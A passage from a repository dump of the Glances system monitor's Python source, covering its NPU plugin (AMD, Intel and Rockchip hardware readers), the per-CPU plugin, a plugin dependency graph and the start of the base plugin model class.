item=self.stats[0][self.get_key()], option='mem'))\n        )\n\n        # Fourth line is temperature\n        # Note: for the moment only available for INTEL NPU\n        ret.append(self.curse_new_line())\n        ret.append(self.curse_add_line('{:<12}'.format('temperature:')))\n        msg = self._format_value(self.stats[0]['temperature'], unit='C')\n        ret.append(\n            self.curse_add_line(\n                msg, self.get_views(key='temperature', item=self.stats[0][self.get_key()], option='decoration')\n            )\n        )\n\n        return ret\n"
  },
  {
    "path": "glances/plugins/npu/cards/__init__.py",
    "content": ""
  },
  {
    "path": "glances/plugins/npu/cards/amd.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2026 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"AMD Extension unit for Glances' NPU plugin.\n\n/sys/bus/pci/drivers/amdxdna/\n└── 0000:c4:00.1/\n    ├── vendor                 # \"0x1022\" (AMD)\n    ├── device                 # Ex: \"0x1714\" (Strix Point)\n    ├── accel/\n    │   └── accel0/\n    │       └── dev\n    └── ...\n\n/sys/class/devfreq/\n└── *xdna*/                   # or *npu* or /sys/devices/platform/*.npu/devfreq/*\n    ├── cur_freq              # Ex: \"800000000\" (800 MHz in Hz)\n    ├── max_freq              # Ex: \"1500000000\" (1.5 GHz in Hz)\n    ├── min_freq              # Ex: \"400000000\" (400 MHz in Hz)\n    └── available_frequencies\n\nCurrent limitation:\n- Only one AMD NPU is supported\n- Load, Memory, temperature and power stats are not yet implemented\n\"\"\"\n\nimport glob\nimport os\n\nfrom glances.logger import logger\nfrom glances.plugins.npu.cards.npu import NPUStats\n\n\nclass AmdNPU:\n    \"\"\"NPU card class.\"\"\"\n\n    def __init__(self, npu_root_folder: str = '/'):\n        \"\"\"Init AMD NPU card class.\"\"\"\n        self.npu_root_folder = npu_root_folder\n\n        device_paths = glob.glob(os.path.join(self.npu_root_folder, 'sys/bus/pci/drivers/amdxdna/*/accel/accel*'))\n        self.device_folder = device_paths[0] if device_paths else None\n\n        self.freq_folder = self._find_devfreq_path()\n\n        logger.debug(f\"AMD NPU device folder: {self.device_folder}\")\n        logger.debug(f\"AMD NPU freq folder: {self.freq_folder}\")\n\n    def is_available(self) -> bool:\n        \"\"\"Check if AMD NPU is available.\"\"\"\n        return self.device_folder is not None and self.freq_folder is not None\n\n    def disable(self):\n        \"\"\"Disable AMD GPU class.\"\"\"\n        self.device_folder = None\n        self.freq_folder = None\n\n    def exit(self):\n        \"\"\"Close AMD GPU class.\"\"\"\n        pass\n\n    def get_device_stats(self) -> dict | None:\n        \"\"\"Get AMD GPU stats.\"\"\"\n        if not self.is_available():\n            return None\n\n        stats = NPUStats()\n\n        stats.npu_id = 'amd_1'\n        stats.freq_current = self._read_file(os.path.join(self.freq_folder, 'cur_freq'), as_int=True)\n        stats.freq_max = self._read_file(os.path.join(self.freq_folder, 'max_freq'), as_int=True)\n        stats.freq = int(stats.freq_current / stats.freq_max * 100)\n        stats.name = self._get_device_name(self._read_file(os.path.join(self.device_folder, '../../device')))\n\n        # Return stats as a dictionary\n        return stats.__dict__\n\n    def _find_devfreq_path(self) -> str | None:\n        \"\"\"Find AMD NPU devfreq path\"\"\"\n        # AMD NPU typically at specific address\n        patterns = [\n            os.path.join(self.npu_root_folder, 'sys/class/devfreq/*npu*'),\n            os.path.join(self.npu_root_folder, 'sys/class/devfreq/*xdna*'),\n            os.path.join(self.npu_root_folder, 'sys/devices/platform/*.npu/devfreq/*'),\n        ]\n\n        for pattern in patterns:\n            paths = glob.glob(pattern)\n            if paths:\n                return paths[0]\n        return None\n\n    def _read_file(self, path: str, as_int: bool = False) -> int | None:\n        \"\"\"Safely read integer from file\"\"\"\n        try:\n            if os.path.exists(path):\n                with open(path) as f:\n                    if as_int:\n                        return int(f.read().strip())\n                    return f.read().strip()\n        except (OSError, ValueError) as e:\n            logger.error(f\"NPU - Error reading file {path}: {e}\")\n        return None\n\n    def _get_device_name(self, device_id: str) -> str:\n        \"\"\"Map AMD device ID to product name\"\"\"\n        device_map = {\n            '0x1502': 'AMD NPU (Phoenix)',\n            '0x17f0': 'AMD NPU (Hawk Point)',\n            '0x1714': 'AMD NPU (Strix Point)',\n        }\n        return device_map.get(device_id, 'AMD NPU')\n\n\n# End of file\n"
  },
  {
    "path": "glances/plugins/npu/cards/intel.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2026 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Intel Extension unit for Glances' NPU plugin.\n\n/sys/class/accel/\n└── accel0/\n    ├── device -> ../../../0000:00:0b.0/\n    │   ├── vendor                    # \"0x8086\" (Intel)\n    │   ├── device                    # Ex: \"0x7d1d\" (Meteor Lake)\n    │   ├── npu_current_frequency_mhz # Ex: \"1400\"\n    │   ├── npu_max_frequency_mhz    # Ex: \"1400\"\n    │   └── hwmon/\n    │       └── hwmon2/\n    │           ├── temp1_input       # Ex: \"45000\" (45°C in milli-Celsius)\n    │           └── power1_input      # Ex: \"2500000\" (2.5W in micro-Watts)\n    └── dev                           # \"261:0\"\n\nCurrent limitation:\n- Only one Intel NPU is supported\n- Load and Memory stats are not yet implemented\n\"\"\"\n\nimport glob\nimport os\n\nfrom glances.logger import logger\nfrom glances.plugins.npu.cards.npu import NPUStats\n\n\nclass IntelNPU:\n    \"\"\"NPU card class.\"\"\"\n\n    def __init__(self, npu_root_folder: str = '/'):\n        \"\"\"Init Intel NPU card class.\"\"\"\n        self.npu_root_folder = npu_root_folder\n\n        device_paths = glob.glob(os.path.join(self.npu_root_folder, 'sys/class/accel/accel*/device'))\n        self.device_folder = device_paths[0] if device_paths else None\n\n        logger.debug(f\"Intel NPU device folder: {self.device_folder}\")\n\n    def is_available(self) -> bool:\n        \"\"\"Check if Intel NPU is available.\"\"\"\n        return self.device_folder is not None\n\n    def disable(self):\n        \"\"\"Disable Intel GPU class.\"\"\"\n        self.device_folder = None\n\n    def exit(self):\n        \"\"\"Close Intel GPU class.\"\"\"\n        pass\n\n    def get_device_stats(self) -> dict | None:\n        \"\"\"Get Intel GPU stats.\"\"\"\n        if not self.is_available():\n            return None\n\n        stats = NPUStats()\n\n        stats.npu_id = 'intel_1'\n        stats.freq_current = (\n            self._read_file(os.path.join(self.device_folder, 'npu_current_frequency_mhz'), as_int=True) * 1000000\n        )  # Convert MHz to Hz\n        stats.freq_max = (\n            self._read_file(os.path.join(self.device_folder, 'npu_max_frequency_mhz'), as_int=True) * 1000000\n        )  # Convert MHz to Hz\n        stats.freq = int(stats.freq_current / stats.freq_max * 100)\n        stats.name = self._get_device_name(self._read_file(os.path.join(self.device_folder, 'device')))\n\n        # Temperature\n        temp_files = glob.glob(os.path.join(self.device_folder, 'hwmon/hwmon*/temp*_input'))\n        if temp_files:\n            temp_value = self._read_file(temp_files[0], as_int=True)\n            if temp_value:\n                stats.temperature = temp_value / 1000.0  # Convert milli-Celsius to Celsius\n\n        # Power\n        power_files = glob.glob(os.path.join(self.device_folder, 'hwmon/hwmon*/power*_input'))\n        if power_files:\n            power_value = self._read_file(power_files[0], as_int=True)\n            if power_value:\n                stats.power = power_value / 1000000.0  # Convert micro-Watts to Watts\n\n        # Return stats as a dictionary\n        return stats.__dict__\n\n    def _read_file(self, path: str, as_int: bool = False) -> int | None:\n        \"\"\"Safely read integer from file\"\"\"\n        try:\n            if os.path.exists(path):\n                with open(path) as f:\n                    if as_int:\n                        return int(f.read().strip())\n                    return f.read().strip()\n        except (OSError, ValueError) as e:\n            logger.error(f\"NPU - Error reading file {path}: {e}\")\n        return None\n\n    def _get_device_name(self, device_id: str) -> str:\n        \"\"\"Map Intel device ID to product name\"\"\"\n        device_map = {\n            '0x7d1d': 'Intel NPU (Meteor Lake)',\n            '0xa75d': 'Intel NPU (Lunar Lake)',\n            '0x643e': 'Intel NPU (Arrow Lake)',\n        }\n        return device_map.get(device_id, 'Intel NPU')\n\n\n# End of file\n"
  },
  {
    "path": "glances/plugins/npu/cards/npu.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2026 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\nfrom dataclasses import dataclass\n\n\n@dataclass\nclass NPUStats:\n    \"\"\"Container for NPU statistics\"\"\"\n\n    def __init__(self):\n        self.npu_id: str = \"unknown\"\n        self.name: str = \"unknown\"\n        self.load: int | None = None\n        self.freq: int | None = None\n        self.freq_current: int | None = None\n        self.freq_max: int | None = None\n        self.mem: int | None = None\n        self.memory_used: int | None = None\n        self.memory_total: int | None = None\n        self.temperature: float | None = None\n        self.power: float | None = None\n"
  },
  {
    "path": "glances/plugins/npu/cards/rockchip.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2026 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"ROCKCHIP Extension unit for Glances' NPU plugin.\n\nWARNING: access to /sys/kernel/debug/ requires root privileges or specific permissions.\n/sys/kernel/debug/rknpu/\n├── load            # Load per core\n├── version         # Driver version\n└── mm              # SRAM\n\n/sys/class/devfreq/\n└── fdab0000.npu/\n    ├── cur_freq    # Ex: \"1000000000\" (1 GHz in Hz)\n    ├── max_freq    # Ex: \"1000000000\"\n    └── min_freq    # Ex: \"300000000\"\n\n/proc/device-tree/\n└── model           # Ex: \"Orange Pi 5 Plus\"\n\nCurrent limitation:\n- Only one ROCKCHIP NPU is supported\n- Load, Memory, temperature and power stats are not yet implemented\n\"\"\"\n\nimport glob\nimport os\nimport re\n\nfrom glances.logger import logger\nfrom glances.plugins.npu.cards.npu import NPUStats\n\n\nclass RockchipNPU:\n    \"\"\"NPU card class.\"\"\"\n\n    def __init__(self, npu_root_folder: str = '/'):\n        \"\"\"Init ROCKCHIP NPU card class.\"\"\"\n        self.npu_root_folder = npu_root_folder\n\n        debug_paths = glob.glob(os.path.join(self.npu_root_folder, 'sys/kernel/debug/rknpu'))\n        self.debug_folder = debug_paths[0] if debug_paths else None\n\n        device_paths = glob.glob(os.path.join(self.npu_root_folder, 'proc/device-tree/'))\n        self.device_folder = device_paths[0] if device_paths else None\n\n        freq_paths = glob.glob(os.path.join(self.npu_root_folder, 'sys/class/devfreq/*npu*'))\n        self.freq_folder = freq_paths[0] if freq_paths else None\n\n        logger.debug(f\"ROCKCHIP NPU debug folder: {self.debug_folder}\")\n        logger.debug(f\"ROCKCHIP NPU device folder: {self.device_folder}\")\n        logger.debug(f\"ROCKCHIP NPU freq folder: {self.freq_folder}\")\n\n    def is_available(self) -> bool:\n        \"\"\"Check if ROCKCHIP NPU is available.\"\"\"\n        return self.debug_folder is not None and self.device_folder is not None and self.freq_folder is not None\n\n    def disable(self):\n        \"\"\"Disable ROCKCHIP GPU class.\"\"\"\n        self.debug_folder = None\n        self.device_folder = None\n        self.freq_folder = None\n\n    def exit(self):\n        \"\"\"Close ROCKCHIP GPU class.\"\"\"\n        pass\n\n    def get_device_stats(self) -> dict | None:\n        \"\"\"Get ROCKCHIP GPU stats.\"\"\"\n        if not self.is_available():\n            return None\n\n        stats = NPUStats()\n\n        stats.npu_id = 'rockship_1'\n        model = self._read_file(os.path.join(self.device_folder, 'model'))\n        stats.name = model if model else \"Rockchip NPU\"\n        stats.freq_current = self._read_file(os.path.join(self.freq_folder, 'cur_freq'), as_int=True)\n        stats.freq_max = self._read_file(os.path.join(self.freq_folder, 'max_freq'), as_int=True)\n        stats.freq = int(stats.freq_current / stats.freq_max * 100)\n        stats.load = self.parse_rknpu_load(self._read_file(os.path.join(self.debug_folder, 'load')))\n\n        # Return stats as a dictionary\n        return stats.__dict__\n\n    def _read_file(self, path: str, as_int: bool = False) -> int | None:\n        \"\"\"Safely read integer from file\"\"\"\n        try:\n            if os.path.exists(path):\n                with open(path) as f:\n                    if as_int:\n                        return int(f.read().strip())\n                    return f.read().strip('\\x00').strip()\n        except (OSError, ValueError) as e:\n            logger.error(f\"NPU - Error reading file {path}: {e}\")\n        except (PermissionError, FileNotFoundError) as e:\n            logger.debug(f\"NPU - Permission error reading file {path}: {e}\")\n        return None\n\n    def _get_device_name(self, device_id: str) -> str:\n        \"\"\"Map ROCKCHIP device ID to product name\"\"\"\n        return device_id\n\n    def parse_rknpu_load(self, content: str) -> list[dict]:\n        \"\"\"\n        Parse the content of the rknpu load file.\n        Return average load across all cores.\n        0% means idle, 100% means full load.\n        \"\"\"\n        if not content:\n            return None\n\n        load = []\n\n        pattern = r'Core(\\d+):\\s*(\\d+)%'\n        matches = re.findall(pattern, content)\n        for _, utilization in matches:\n            load.append(int(utilization))\n\n        return int(sum(load) / len(load)) if load else 0\n\n\n# End of file\n"
  },
  {
    "path": "glances/plugins/percpu/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Per-CPU plugin.\"\"\"\n\nfrom glances.cpu_percent import cpu_percent\nfrom glances.globals import BSD, LINUX, MACOS, WINDOWS\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: is it a rate ? If yes, // by time_since_update when displayed,\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'cpu_number': {\n        'description': 'CPU number',\n    },\n    'total': {\n        'description': 'Sum of CPU percentages (except idle) for current CPU number.',\n        'unit': 'percent',\n    },\n    'system': {\n        'description': 'Percent time spent in kernel space. System CPU time is the \\\ntime spent running code in the Operating System kernel.',\n        'unit': 'percent',\n    },\n    'user': {\n        'description': 'CPU percent time spent in user space. \\\nUser CPU time is the time spent on the processor running your program\\'s code (or code in libraries).',\n        'unit': 'percent',\n    },\n    'iowait': {\n        'description': '*(Linux)*: percent time spent by the CPU waiting for I/O \\\noperations to complete.',\n        'unit': 'percent',\n    },\n    'idle': {\n        'description': 'percent of CPU used by any program. Every program or task \\\nthat runs on a computer system occupies a certain amount of processing \\\ntime on the CPU. If the CPU has completed all tasks it is idle.',\n        'unit': 'percent',\n    },\n    'irq': {\n        'description': '*(Linux and BSD)*: percent time spent servicing/handling \\\nhardware/software interrupts. Time servicing interrupts (hardware + \\\nsoftware).',\n        'unit': 'percent',\n    },\n    'nice': {\n        'description': '*(Unix)*: percent time occupied by user level processes with \\\na positive nice value. The time the CPU has spent running users\\' \\\nprocesses that have been *niced*.',\n        'unit': 'percent',\n    },\n    'steal': {\n        'description': '*(Linux)*: percentage of time a virtual CPU waits for a real \\\nCPU while the hypervisor is servicing another virtual processor.',\n        'unit': 'percent',\n    },\n    'guest': {\n        'description': '*(Linux)*: percent of time spent running a virtual CPU for \\\nguest operating systems under the control of the Linux kernel.',\n        'unit': 'percent',\n    },\n    'guest_nice': {\n        'description': '*(Linux)*: percent of time spent running a niced guest (virtual CPU).',\n        'unit': 'percent',\n    },\n    'softirq': {\n        'description': '*(Linux)*: percent of time spent handling software interrupts.',\n        'unit': 'percent',\n    },\n    'dpc': {\n        'description': '*(Windows)*: percent of time spent handling deferred procedure calls.',\n        'unit': 'percent',\n    },\n    'interrupt': {\n        'description': '*(Windows)*: percent of time spent handling software interrupts.',\n        'unit': 'percent',\n    },\n}\n\n# Define the history items list\nitems_history_list = [\n    {'name': 'user', 'description': 'User CPU usage', 'y_unit': '%'},\n    {'name': 'system', 'description': 'System CPU usage', 'y_unit': '%'},\n]\n\n\nclass PercpuPlugin(GlancesPluginModel):\n    \"\"\"Glances per-CPU plugin.\n\n    'stats' is a list of dictionaries that contain the utilization percentages\n    for each CPU.\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(\n            args=args,\n            config=config,\n            items_history_list=items_history_list,\n            stats_init_value=[],\n            fields_description=fields_description,\n        )\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        # Manage the maximum number of CPU to display (related to enhancement request #2734)\n        if config:\n            self.max_cpu_display = config.get_int_value('percpu', 'max_cpu_display', 4)\n        else:\n            self.max_cpu_display = 4\n\n    def get_key(self):\n        \"\"\"Return the key of the list.\"\"\"\n        return 'cpu_number'\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update per-CPU stats using the input method.\"\"\"\n        # Grab per-CPU stats using psutil's\n        if self.input_method == 'local':\n            stats = cpu_percent.get_percpu()\n        else:\n            # Update stats using SNMP\n            stats = self.get_init_value()\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def define_headers_from_os(self):\n        base = ['user', 'system']\n\n        if LINUX:\n            base += ['iowait', 'idle', 'irq', 'nice', 'steal', 'guest']\n        elif MACOS:\n            base += ['idle', 'nice']\n        elif BSD:\n            base += ['idle', 'irq', 'nice']\n        elif WINDOWS:\n            base += ['dpc', 'interrupt']\n\n        return base\n\n    def maybe_build_string_msg(self, header, return_):\n        if self.is_disabled('quicklook'):\n            msg = '{:5}'.format('CPU')\n            return_.append(self.curse_add_line(msg, \"TITLE\"))\n            header.insert(0, 'total')\n\n        return (header, return_)\n\n    def display_cpu_stats_per_line(self, header, return_):\n        for stat in header:\n            msg = f'{stat:>7}'\n            return_.append(self.curse_add_line(msg))\n\n        return return_\n\n    def manage_max_cpu_to_display(self):\n        if len(self.stats) > self.max_cpu_display:\n            # sort and display top 'n'\n            percpu_list = sorted(self.stats, key=lambda x: x['total'], reverse=True)\n        else:\n            percpu_list = self.stats\n\n        return percpu_list\n\n    def display_cpu_header_in_columns(self, cpu, return_):\n        return_.append(self.curse_new_line())\n        if self.is_disabled('quicklook'):\n            try:\n                cpu_id = cpu[cpu['key']]\n                if cpu_id < 10:\n                    msg = f'CPU{cpu_id:1} '\n                else:\n                    msg = f'{cpu_id:4} '\n            except TypeError:\n                # TypeError: string indices must be integers (issue #1027)\n                msg = '{:4} '.format('?')\n            return_.append(self.curse_add_line(msg))\n\n        return return_\n\n    def display_cpu_stats_in_columns(self, cpu, header, return_):\n        for stat in header:\n            try:\n                msg = f'{cpu[stat]:6.1f}%'\n            except TypeError:\n                msg = '{:>6}%'.format('?')\n            return_.append(self.curse_add_line(msg, self.get_alert(cpu[stat], header=stat)))\n\n        return return_\n\n    def summarize_all_cpus_not_displayed(self, percpu_list, header, return_):\n        if len(self.stats) > self.max_cpu_display:\n            return_.append(self.curse_new_line())\n            if self.is_disabled('quicklook'):\n                return_.append(self.curse_add_line('CPU* '))\n\n            for stat in header:\n                percpu_stats = [i[stat] for i in percpu_list[0 : self.max_cpu_display]]\n                cpu_stat = sum(percpu_stats) / len(percpu_stats)\n                try:\n                    msg = f'{cpu_stat:6.1f}%'\n                except TypeError:\n                    msg = '{:>6}%'.format('?')\n                return_.append(self.curse_add_line(msg, self.get_alert(cpu_stat, header=stat)))\n\n        return return_\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the list of dict to display in the curse interface.\"\"\"\n\n        # Init the return message\n        return_ = []\n\n        # Only process if stats exist...\n        missing = [not self.stats, not self.args.percpu, self.is_disabled()]\n        if any(missing):\n            return return_\n\n        # Define the headers based on OS\n        header = self.define_headers_from_os()\n\n        # Build the string message\n        header, return_ = self.maybe_build_string_msg(header, return_)\n\n        # Per CPU stats displayed per line\n        return_ = self.display_cpu_stats_per_line(header, return_)\n\n        # Manage the maximum number of CPU to display (related to enhancement request #2734)\n        percpu_list = self.manage_max_cpu_to_display()\n\n        # Per CPU stats displayed per column\n        for cpu in percpu_list[0 : self.max_cpu_display]:\n            header_added = self.display_cpu_header_in_columns(cpu, return_)\n            stats_added = self.display_cpu_stats_in_columns(cpu, header, header_added)\n\n        # Add a new line with sum of all others CPU\n        return self.summarize_all_cpus_not_displayed(percpu_list, header, stats_added)\n"
  },
  {
    "path": "glances/plugins/plugin/__init__.py",
    "content": ""
  },
  {
    "path": "glances/plugins/plugin/dag.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2025 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n# Glances DAG (direct acyclic graph) for plugins dependencies.\n# It allows to define DAG dependencies between plugins\n# For the moment, it will be used only for Restful API interface\n\n_plugins_graph = {\n    '*': ['alert'],  # All plugins depend on alert plugin\n    'cpu': ['core'],\n    'load': ['core'],\n    'processlist': ['core', 'processcount'],\n    'programlist': ['processcount'],\n    'quicklook': ['fs', 'load'],\n    'vms': ['processcount'],\n}\n\n\ndef get_plugin_dependencies(plugin_name, _graph=_plugins_graph):\n    \"\"\"Return all transitive dependencies for a given plugin (including global ones).\"\"\"\n    seen = set()\n\n    def _resolve(plugin):\n        if plugin in seen:\n            return\n        seen.add(plugin)\n\n        # Get direct dependencies of this plugin\n        deps = _graph.get(plugin, [])\n        for dep in deps:\n            _resolve(dep)\n\n    # Resolve dependencies for this plugin\n    _resolve(plugin_name)\n\n    # Add global (\"*\") dependencies\n    for dep in _graph.get('*', []):\n        _resolve(dep)\n\n    # Remove the plugin itself if present\n    seen.discard(plugin_name)\n\n    # Preserve order of discovery (optional, for deterministic results)\n    result = []\n    added = set()\n    for dep in _graph.get(plugin_name, []) + _graph.get('*', []):\n        for d in _dfs_order(dep, _graph, set()):\n            if d not in added and d != plugin_name:\n                result.append(d)\n                added.add(d)\n    return [plugin_name] + result\n\n\ndef _dfs_order(plugin, graph, seen):\n    \"\"\"Helper to preserve depth-first order.\"\"\"\n    if plugin in seen:\n        return []\n    seen.add(plugin)\n    order = []\n    for dep in graph.get(plugin, []):\n        order.extend(_dfs_order(dep, graph, seen))\n    order.append(plugin)\n    return order\n"
  },
  {
    "path": "glances/plugins/plugin/model.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"\nI am your father...\n\n...of all Glances model plugins.\n\"\"\"\n\nimport copy\nimport re\nfrom datetime import datetime\n\nfrom glances.actions import GlancesActions\nfrom glances.events_list import glances_events\nfrom glances.globals import (\n    auto_unit,\n    dictlist,\n    dictlist_json_dumps,\n    json_dumps,\n    list_to_dict,\n    listkeys,\n    mean,\n    nativestr,\n    split_esc,\n)\nfrom glances.history import GlancesHistory\nfrom glances.logger import logger\nfrom glances.outputs.glances_unicode import unicode_message\nfrom glances.thresholds import glances_thresholds\nfrom glances.timer import Counter, Timer, getTimeSinceLastUpdate\n\nfields_unit_short = {'percent': '%'}\n\nfields_unit_type = {\n    'percent': 'float',\n    'percents': 'float',\n    'number': 'int',\n    'numbers': 'int',\n    'int': 'int',\n    'ints': 'int',\n    'float': 'float',\n    'floats': 'float',\n    'second': 'int',\n    'seconds': 'int',\n    'byte': 'int',\n    'bytes': 'int',\n}\n\n\nclass GlancesPluginModel:\n    \"\"\"Main class for Glances plugin model.\"\"\"\n\n    def __init__(self, args=None, config=None, items_history_list=None, stats_init_value={}, fields_description=None):\n        \"\"\"Init the plugin of plugins model class.\n\n        All Glances' plugins model should inherit from this class. Most of the\n        methods are already implemented in the father classes.\n\n        Your plugin should return a dict or a list of dicts (stored in the\n        self.stats). As an example, you can have a look on the mem plugin\n        (for dict) or network (for list of dicts).\n\n        From version 4 of the API, the plugin should return a dict.\n\n        A plugin should implement:\n        - the reset method: to set your self.stats variable to {} or []\n        - the update method: where your self.stats variable is set\n        and optionally:\n        - the get_key method: set the key of the dict (only for list of dict)\n        - all others methods you want to overwrite\n\n        :args: args parameters\n        :config: configuration parameters\n        :items_history_list: list of items to store in the history\n        :stats_init_value: Default value for a stats item\n        \"\"\"\n        # Build the plugin name\n        # Internal or external module (former prefixed by 'glances.plugins')\n        _mod = self.__class__.__module__.replace('glances.plugins.', '')\n        self.plugin_name = _mod.split('.')[0]\n\n        if self.plugin_name.startswith('glances_'):\n            self.plugin_name = self.plugin_name.split('glances_')[1]\n        logger.debug(f\"Init {self.plugin_name} plugin\")\n\n        # Init the args\n        self.args = args\n\n        # Init the default alignment (for curses)\n        self._align = 'left'\n\n        # Init the input method\n        self._input_method = 'local'\n        self._short_system_name = None\n\n        # Init the history list\n        self.items_history_list = items_history_list\n        self.stats_history = self.init_stats_history()\n\n        # Init the limits (configuration keys) dictionary\n        self._limits = {}\n        if config is not None:\n            logger.debug(f'Load section {self.plugin_name} in Glances configuration file')\n            self.load_limits(config=config)\n\n        # Init the alias (dictionary)\n        self.alias = self.read_alias()\n\n        # Init the actions\n        self.actions = GlancesActions(args=args)\n\n        # Init the views\n        self.views = {}\n\n        # Hide stats if all the hide_zero_fields has never been != 0\n        # Default is False, always display stats\n        self.hide_zero = False\n        # The threshold needed to display a value if hide_zero is true.\n        # Only hide a value if it is less than hide_threshold_bytes.\n        self.hide_threshold_bytes = 0\n        self.hide_zero_fields = []\n\n        # Set the initial refresh time to display stats the first time\n        self.refresh_timer = Timer(0)\n\n        # Init stats description\n        self.fields_description = fields_description\n\n        # Init MMM (Min/Max/Mean) tracking for fields with mmm=True\n        self._mmm_fields = self._init_mmm_fields()\n\n        # Init the stats\n        self.stats_init_value = stats_init_value\n        self.time_since_last_update = None\n        self.stats = None\n        self.stats_previous = None\n        self.reset()\n\n    def __str__(self):\n        \"\"\"Return the human-readable stats.\"\"\"\n        return str(self.stats)\n\n    def __repr__(self):\n        \"\"\"Return the raw stats.\"\"\"\n        if isinstance(self.stats, list):\n            return str(list_to_dict(self.stats))\n        return str(self.stats)\n\n    def __getitem__(self, item):\n        \"\"\"Return the stats item.\"\"\"\n        if isinstance(self.stats, dict) and item in self.stats:\n            return self.stats[item]\n\n        if isinstance(self.stats, list):\n            ltd = list_to_dict(self.stats)\n            if item in ltd:\n                return ltd[item]\n\n        raise KeyError(f\"'{self.__class__.__name__}' object has no key '{item}'\")\n\n    def keys(self):\n        \"\"\"Return the keys of the stats.\"\"\"\n        if isinstance(self.stats, dict):\n            return listkeys(self.stats)\n        if isinstance(self.stats, list):\n            return listkeys(list_to_dict(self.stats))\n        return []\n\n    def get(self, item, default=None):\n        \"\"\"Return the stats item or default if not found.\"\"\"\n        try:\n            return self[item]\n        except KeyError:\n            return default\n\n    def get_init_value(self):\n        \"\"\"Return a copy of the init value.\"\"\"\n        return copy.copy(self.stats_init_value)\n\n    def _init_mmm_fields(self):\n        \"\"\"Initialize MMM (Min/Max/Mean) field tracking.\n\n        Scan fields_description for fields with mmm=True and create tracking structures.\n        Also automatically add field descriptions for the generated fields.\n\n        Returns a dictionary with mmm field tracking info.\n        \"\"\"\n        mmm_fields = {}\n\n        if self.fields_description is None:\n            return mmm_fields\n\n        # Find all fields with mmm=True (iterate over keys to avoid dict size change during iteration)\n        mmm_field_names = [\n            field_name for field_name, field_info in self.fields_description.items() if field_info.get('mmm', False)\n        ]\n\n        # Now process the mmm fields\n        for field_name in mmm_field_names:\n            field_info = self.fields_description[field_name]\n\n            # Initialize tracking for this field\n            mmm_fields[field_name] = {\n                'values': [],  # Keep history for mean calculation\n                'min': None,\n                'max': None,\n                'unit': field_info.get('unit', ''),\n            }\n\n            # Automatically add field descriptions for the generated fields if not already present\n            suffix_map = {\n                '_min': f\"Minimum {field_name} observed since Glances startup.\",\n                '_max': f\"Maximum {field_name} observed since Glances startup.\",\n                '_mean': f\"Mean (average) {field_name} computed from the history.\",\n            }\n\n            for suffix, description in suffix_map.items():\n                generated_field = field_name + suffix\n                if generated_field not in self.fields_description:\n                    self.fields_description[generated_field] = {\n                        'description': description,\n                        'unit': field_info.get('unit', ''),\n                    }\n\n        return mmm_fields\n\n    def _update_mmm_fields(self, stats):\n        \"\"\"Update MMM (Min/Max/Mean) fields for all fields with mmm=True.\n\n        This method should be called after the plugin's update method.\n        It will compute and add _min, _max, and _mean fields to stats.\n\n        Args:\n            stats: The stats dictionary to update (should be a dict or dict from list item)\n\n        Returns:\n            The stats dictionary with mmm fields added\n        \"\"\"\n        if not isinstance(stats, dict) or not self._mmm_fields:\n            return stats\n\n        # Update mmm fields for each tracked field\n        for field_name, mmm_info in self._mmm_fields.items():\n            if field_name not in stats:\n                continue\n\n            current_value = stats[field_name]\n\n            # Only process numeric values\n            if current_value is None or (not isinstance(current_value, (int, float))):\n                continue\n\n            # Keep history for mean calculation (limit to reasonable size to avoid memory growth)\n            max_history_size = 28800  # ~1 day at 1 sample/sec\n            mmm_info['values'].append(current_value)\n            if len(mmm_info['values']) > max_history_size:\n                mmm_info['values'].pop(0)\n\n            # Update min and max\n            if mmm_info['min'] is None or current_value < mmm_info['min']:\n                mmm_info['min'] = current_value\n            if mmm_info['max'] is None or current_value > mmm_info['max']:\n                mmm_info['max'] = current_value\n\n            # Add generated fields to stats\n            stats[field_name + '_min'] = mmm_info['min']\n            stats[field_name + '_max'] = mmm_info['max']\n\n            # Compute mean from history\n            if mmm_info['values']:\n                stats[field_name + '_mean'] = round(mean(mmm_info['values']), 2)\n\n        return stats\n\n    def _update_mmm_fields_on_list(self, stats_list):\n        \"\"\"Update MMM fields for a list of stats dictionaries.\n\n        Args:\n            stats_list: A list of stats dictionaries\n\n        Returns:\n            The list with mmm fields updated for each item\n        \"\"\"\n        if not isinstance(stats_list, list):\n            return stats_list\n\n        for stat in stats_list:\n            if isinstance(stat, dict):\n                self._update_mmm_fields(stat)\n\n        return stats_list\n\n    def reset(self):\n        \"\"\"Reset the stats.\n\n        This method should be overwritten by child classes.\n        \"\"\"\n        self.stats = self.get_init_value()\n\n    def exit(self):\n        \"\"\"Just log an event when Glances 